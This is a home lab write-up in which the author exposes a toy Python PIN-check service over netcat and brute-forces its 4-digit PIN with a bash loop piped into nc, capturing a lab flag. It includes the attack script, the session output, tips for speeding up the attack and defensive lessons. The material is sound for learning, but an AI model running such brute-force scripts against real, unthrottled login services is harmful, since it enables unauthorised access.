Cracking Pincode over Netcat
Cracking a PIN Service over Netcat
A home lab exercise simulating a vulnerable network service and defeating it with a scripted brute-force attack.
Overview
| Objective | Exploit a PIN-protected service exposed over the network with no rate limiting |
|---|---|
| Environment | JSLinux (Alpine x86_64, in-browser VM) |
| Tools | netcat, python3, bash |
| Technique | Unthrottled brute-force attack over a raw TCP socket |
| Outcome | PIN recovered, flag captured |
Lab Topology
Two VMs were used on the same virtual network:
- Machine 01 — Host: runs a Python “PIN lockbox” service, exposed via
netcat. - Machine 02 — Attacker: connects to the service and automates guessing.
Machine 01: Host Setup
The Vulnerable Service
A minimal PIN-check program, run.py, was written to simulate a simple authentication service:
while True:
pin = int(input("Read: "))
if pin == 2026: # exit condition for correct pin
print("kuze713{hidden-information}")
break
print("Wrong! Try Again...")
Key weaknesses baked into the design (intentionally, for the exercise):
- No limit on the number of attempts
- No delay / lockout after failed attempts
- No logging or alerting on repeated failures
- PIN space constrained to a known range (1000–3000)
Identifying the Host IP
user@local:~$ ip a
...
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> ...
inet 10.5.238.151/16 brd 10.5.255.255 scope global dynamic noprefixroute eth0
Host IP: 10.5.238.151
Exposing the Service
The script was bound to port 1234 using netcat:
user@local:~$ nc -lv -p 1234 -e python3 run.py
This turns run.py into a listening network service — anyone who connects gets piped straight into the running Python process.
Machine 02: Attacker Workflow
Step 1 — Manual Recon
First, connect manually to understand the service’s behavior:
user@kali:~$ nc 10.5.238.151 1234
Read: 1111
Wrong! Try Again...
Read: 2098
Wrong! Try Again...
Read: ^C
Findings:
- The service prompts with
Read:and expects a numeric PIN - Wrong guesses return
Wrong! Try Again...with no penalty - No connection drop, timeout, or throttling observed
- The valid PIN was known (from the challenge brief) to fall between 1000–3000, i.e. a search space of only 2000 values
This made the service an ideal candidate for brute forcing rather than manual guessing.
Step 2 — Scripting the Attack
crack.sh:
#!/bin/bash
sleep 5
for pin in {1000..3000}; do # bruteforce range
sleep 2 # wait for the server to be ready for the next input
echo "$pin" >&2 # print attempt to terminal (stderr) for visibility
echo "$pin" # send attempt to the server (stdout -> piped to nc)
done
How it works:
| Line | Purpose |
|---|---|
sleep 5 |
Grace period for the initial nc connection to establish |
for pin in {1000..3000} |
Iterates through the full candidate PIN space |
sleep 2 |
Paces requests so the server has time to process each one |
echo "$pin" >&2 |
Logs progress to the terminal (stderr), without touching the actual payload stream |
echo "$pin" |
Sends the guess to stdout, which nc forwards to the server |
Step 3 — Executing the Attack
user@kali:~$ bash crack.sh | nc 10.5.238.151 1234
...
Read: 2023
Wrong! Try Again...
Read: 2024
Wrong! Try Again...
Read: 2025
Wrong! Try Again...
Read: 2026
kuze713{hidden-information}
2027
2028
2029
PIN found: 2026 🏁 Flag captured: kuze713{hidden-information}
(The script kept running past the correct guess since it has no exit condition on success — harmless here, but worth noting below.)
Lessons Learned
- A missing rate limit turns a 2000-value keyspace from “practically impossible to brute force by hand” into a trivial scripted attack — at
sleep 2per guess, the whole range completes in under 70 minutes, and much faster with no delay at all. - Piping a generator script directly into
ncis a clean, reusable pattern for scripting interactions with raw TCP services. - Separating “visible progress” (stderr) from “actual payload” (stdout) is a small but handy trick when automating netcat interactions.
Suggested Improvements
For the attack script:
- Add an
if grep -q "kuze713" ...style check (or read server responses back) so the loop terminates automatically on success instead of continuing to send guesses. - Replace the fixed
sleep 2with adaptive timing, or parallelize connections (if the server allows concurrent sessions) to cut total crack time significantly. - Log full request/response pairs to a file for later analysis, rather than relying only on terminal output.
- Consider using
pwntools(Python) instead of bash + netcat for more reliable I/O handling and cleaner success detection.
For the vulnerable service (defensive takeaways):
- Implement attempt throttling or exponential backoff after failed tries.
- Add account/IP lockout after N consecutive failures.
- Log failed attempts with timestamps and source info for detection.
- Use a non-predictable, larger keyspace (or hashed/salted credentials) instead of a 4-digit range.
References
- JSLinux Alpine VM
man nc,man bash
Home lab exercise — for personal learning and documentation purposes.